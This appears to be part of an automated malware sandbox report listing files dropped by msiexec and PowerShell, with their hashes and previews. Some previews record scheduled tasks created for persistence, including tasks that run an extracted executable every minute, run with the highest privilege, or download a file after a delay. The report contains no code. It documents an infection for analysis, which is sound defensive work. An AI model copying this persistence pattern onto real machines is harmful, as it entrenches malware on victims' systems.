Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.3524127945703945
Encrypted:	false
SSDEEP:	12:m53QN80NiLl/bPeIG/eQYftRzAqn6gHeIyWeQ9f69zVbb6crs0r3wa:m53r5/7bG/QbzAc6iTExNrt3wa
MD5:	DCD2200DD48BB7D4C4F6A8AFC2F43B66
SHA1:	BBD4EC94A9B5C7A3815D189241F7811CEF47502E
SHA-256:	2D4E4939B11FFB49CE166F42A874044946A66C6259B461BC7F196E5E02747C71
SHA-512:	0D34086720D527EC58534171B8DA6C2DC64512B7D19E02CFCF76191F2E12647F2F499D6C8DA40427398C06CA1E8650EEA4185A3AE4C4A5A22534034E0C34068A
Malicious:	false
Preview:	....StatusCode : 200..StatusDescription : OK..Content : ..RawContent : HTTP/1.1 200 OK.. Keep-Alive: timeout=5, max=100.. Connection: Keep-Alive.. Content-Length: 0.. Content-Type: text/html; charset=UTF-8.. Date: Sat, 21 Dec 2024 07:42:16 GMT.. Server: Apache/2.4.41 (Ubuntu).....Forms : {}..Headers : {[Keep-Alive, timeout=5, max=100], [Connection, Keep-Alive], [Content-Length, 0], [Content-Type, .. text/html; charset=UTF-8]...}..Images : {}..InputFields : {}..Links : {}..ParsedHtml : mshtml.HTMLDocumentClass..RawContentLength : 0........

C:\Users\user\AppData\Local\Temp\Pro144.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.134798694769445
Encrypted:	false
SSDEEP:	24:6nld7s73gfpQDCQ40YhM5IqYBIkUY3qI3jFyz268A:6nld7s73gfpQDbBBMebYg2Y
MD5:	9F312F75D6DC6DA4411820F402041D2D
SHA1:	7D2BF10B01271C9B703F587F9D82CD126DFA88B0
SHA-256:	8CB673168384B4D1995A5B3D47AFA95F574B07BEA9F6449C074B98BA756DA556
SHA-512:	6455F5DC2E38506118447E3DA1DC6EE9E462240B976E05F25818F9880E6A1BE5250D42504DB50150E0E44761FE677C16ABAA94F0C28E56E9D7F040947978E61F
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ ATD Ready ....PSPath : Microsoft.PowerShell.Core\FileSystem::C:\temp..PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\..PSChildName : temp..PSDrive : C..PSProvider : Microsoft.PowerShell.Core\FileSystem..PSIsContainer : True..Name : temp..FullName : C:\temp..Parent : ..Exists : True..Root : C:\..Extension : ..CreationTime : 12/21/2024 2:40:01 AM..CreationTimeUtc : 12/21/2024 7:40:01 AM..LastAccessTime : 12/21/2024 2:40:01 AM..LastAccessTimeUtc : 12/21/2024 7:40:01 AM..LastWriteTime : 12/21/2024 2:40:01 AM..LastWriteTimeUtc : 12/21/2024 7:40:01 AM..Attributes : Directory..Mode

C:\Users\user\AppData\Local\Temp\Pro3FBC.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	372
Entropy (8bit):	2.576962942991055
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFF//F6r/XzFbFG1WKAzXWTQYEmEFLK6SCHpGjZ:JUX0qIGICLAjXzFbFzzX6QY1Kh/5L+
MD5:	BB1F8E5C04E34A7C0FD559F5BC13C13E
SHA1:	92ECAACF76314FD61D550902444BF2AA285EAF34
SHA-256:	7D06494DE745476534D1CFB2311AF54786BA61646CF1646310EBA81B5891F66D
SHA-512:	168ECFFD1EE701791D7EB3A3DA4B0E897E5964E9E4E9B5191510A295A7A054C79BBD2A5FB1F55A928210B7F2AE439DD2A299EC618B3298DC6AF81AA112A9B204
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ VD Ready ..Tarefa 'VD' criada com sucesso e configurada para execu..o com a mais alta permiss.o.......

C:\Users\user\AppData\Local\Temp\Pro4E75.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	567
Entropy (8bit):	3.243485464040537
Encrypted:	false
SSDEEP:	12:OkqIGICLagjXzFczZm4/nOFxijXzFlzZm4/CQJa:6nldzFczZ3/OF6zFlzZ3/CQ0
MD5:	A6266FB9EA27BD6A027E7D1CDC3AFDE9
SHA1:	82BFCCF381C1DD0F5726F4A4EE7160F601D10F41
SHA-256:	E3E506E361537BE94C745298DA034ADB9ECA84A9CAA71B72D60ACFA8FFEC7B63
SHA-512:	20BEC340A50D9ACCD5EF4AE904B25CEE638235140AAAF7336587BE0B2DAA98999F621CBA37996D50B481C0AB5BE7CDEA577364775D1BF286FCD6A7DDC9EF1EE1
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ DownloadDownSistem Ready ..Tarefa 'DownloadDownSistem' criada com sucesso. O arquivo ser. baixado ap.s 20 minutos..\ ExecuteDownSistem Ready ..Tarefa 'ExecuteDownSistem' criada com sucesso. O arquivo ser. executado repetidamente a cada minuto......

C:\Users\user\AppData\Local\Temp\Pro6569.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	416
Entropy (8bit):	2.98857727427288
Encrypted:	false
SSDEEP:	6:JUX0qIGICLvAyjXzFMYzXu310JtDG5mcKz6UsGZuQxa:OkqIGICLvTjXzFZz+310JJ2mcRUsGu
MD5:	5BD76C75A9FF6B4246B014580EA74354
SHA1:	6CAF1287C72ED00990080651B866966D8721E702
SHA-256:	25AC5611630991DB2CF57A2BCEF87D6099C82D1CDC97CFC1E8DD9EC3B87D79B8
SHA-512:	3FF7AB779B2785F6BD5ABFD39EB054343184BAFF71F29FA7422A2E90F46EA34A9D934F22A56232D95DFB03751ABEC917C9E522E61A673144035EDB4CC30394C8
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ exe01aa Ready ..Tarefa agendada 'exe01aa' criada com sucesso para executar 'C:\LocalNow\Extracted\01aa.exe' como o usu.rio logado a cada 1 minuto......

C:\Users\user\AppData\Local\Temp\Pro8A89.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.175696440497044
Encrypted:	false
SSDEEP:	3:+zWiFKFe3gbUYovn:qWLewevn
MD5:	E99CA8BA3F548A7281AA8C4997A6D686
SHA1:	4012DED88114FF545BBBD50C7DC65341980A54B8
SHA-256:	BD2F0A6C628F99D7BD0D80282949F34B03D303E5EC2C986255CC734BEC9751D3
SHA-512:	0AA3DD370B572D7C56602B325F7F411018BDF6DDEA6CC66DB3212679A75768ACA48CCB4886F2311E3F9266B9EE8A6F64D243A09DBDBDF6F5305EA92B5F276AD5
Malicious:	false
Preview:	Nenhuma pasta com o final '.' encontrada...

C:\Users\user\AppData\Local\Temp\Pro9AE4.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	285
Entropy (8bit):	1.5350353433489983
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFwN/or/ry:JUX0qIGICLeqj+
MD5:	0C2A43976D4DE81A31F13AF09FCF9110
SHA1:	BDB3F8C1EA3F75CF0512FCDCDC8099754B24AEF6
SHA-256:	5270D6BFC5DFDF11E6CF84E2E8BD32AE02703AE6348A849866B953A3D3F6780B
SHA-512:	A6C6E2A0AE317C65CE359FEC5BAE95929440F93B6253B36E54C7BA5D1CADE9E53FA3D1EBE9542228E82D6461641E1F7FE297DAF4C3FF63F9E795D6E4FEB7EFCF
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ DWD Ready ......

C:\Users\user\AppData\Local\Temp\ProA5E5.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	374
Entropy (8bit):	2.5866197192696334
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFiWEVyr/XzF3WKAzXWTQYEmEFLK6SCHpGjKL+:JUX0qIGICLwpyjXzFKzX6QY1Kh/5L+
MD5:	A432B219D722B31D3B2D2D598F3B34C2
SHA1:	19BE17FA077C0919E8714759D794B29153610640
SHA-256:	12903AE16C80F5467D76089F5CE45CE27138EE756955105EB73ECFD093E92463
SHA-512:	75CE62AF21A4109536E2EBF1CC5B63A012089A9EC1B5CFCFFD40A0671B3838E1A9915969496E007285E176781940DF4BA3B53BB71C0D7D1BCEACB8654D4A2437
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Rosa Ready ..Tarefa 'Rosa' criada com sucesso e configurada para execu..o com a mais alta permiss.o.......

C:\Users\user\AppData\Local\Temp\ProB9C.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	375
Entropy (8bit):	2.6026900812926024
Encrypted:	false
SSDEEP:	6:JUX0qIGICLq6jXzFjWr8YzX6QY1Kh/5L+:OkqIGICLNjXzFjeJzs1KT+
MD5:	25A6C1E7537FF91E12A03FBD46B091F6
SHA1:	9988C678F3DA1A47DF2442A783DF973329CC84B3
SHA-256:	DD106BAB09F32FE0706977952D43C403E633DE5875D442B0BB1C52A7F44287C8
SHA-512:	FAF6E0CAC729D3117B8888AFC67985B6DE5C75BECD5E6BA6DD5E36CAA0D44A4BEEE8F411FBD756F82E443AC105558C10027F6DBC8FE1233D76B9A793F98A29A8
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Pasta Ready ..Tarefa 'Pasta' criada com sucesso e configurada para execu..o com a mais alta permiss.o.......

C:\Users\user\AppData\Local\Temp\ProD41D.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	365
Entropy (8bit):	2.58699970011582
Encrypted:	false
SSDEEP:	3:iG1EjCCNFqP1SXsIISXSII/6JFFo3A+EsFYr/SXhEr5sc7KAzXMRn6WFSLQTvr:JUX0qIGICL631FYjS8zXRWuQTvr
MD5:	8F4D664AB135EAEE3B046F40EDB55530
SHA1:	4EE8C53D25A1D1B772931F053780545F5F7FED2D
SHA-256:	CB318680D3552B173161837912BAABA1F4BD46F9A4EC23BD7F40FBF95352B434
SHA-512:	73EAED99537BD98FE7F99AE1E6E654D1F524DA3173D46087E4AADC9EE5A3A8BCF43E625F239B28C2BE76EF6852CC7EBAAB79052A9AC97385C82AA75A395C128F
Malicious:	false
Preview:	..TaskPath TaskName State ..-------- -------- ----- ..\ Renome01aa Ready ..A tarefa 'Renome01aa' foi criada com sucesso e ser. executada a cada 1 minuto.......

C:\Users\user\AppData\Local\Temp\RES7FB3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols, created Sat Dec 21 08:48:43 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	3.9575397781468924
Encrypted:	false
SSDEEP:	24:HY5nW9QhfH6N4DfHPwKdNWI+ycuZhN5akS3PNnqShgd:4N5ZaN24Kd41ul5a3lqSy
MD5:	346A0AC8D0C9D97982C2C76B8BF5AE82
SHA1:	97AA4F6F7D24CB1E250464FA67504D0DD4EDBE1A
SHA-256:	887B04DFD58CD0E0B841B64AE9A0D71372DF3FCC34DC8F1F4F09FDF62CE4C9DA
SHA-512:	A59D14977DC1FA7F0B86D31D98C875BB9F9D5A075E96E8CABAC61F4BFA5056DE6EF4136ADD3FF7A20ABF11FADEA8EFC0029C2C75BEB699203550E2F88C13E5F9
Malicious:	false
Preview:	L....fg.............debug$S........D...................@..B.rsrc$01........X.......(...........@..@.rsrc$02........P...2...............@..@........J....c:\Users\user\AppData\Local\Temp\CSC1F1FEE1B60354EE49FE3D23A31B1244.TMP...................9...P...H..LP#..........4.......C:\Users\user\AppData\Local\Temp\RES7FB3.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.x.g.f.s.w.a.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0udesoxd.a3l.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30cdyt5l.uv1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ei40mjo.jka.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3wxzzbzp.erg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4fjuuxpv.iqz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55e4o0vy.phd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bhu45jr.uq3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aaannpk3.ryx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_allwcd3w.x5k.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_auh1yxxe.hvf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cdxzt2y0.k3q.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dpphvnng.mec.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_edn5jiv0.yhz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gw3ck52o.2e0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2e2obgo.yqk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3vupl4l.zal.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jllojarz.0d3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ju33ysp5.cun.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kd0ybjxi.jmg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

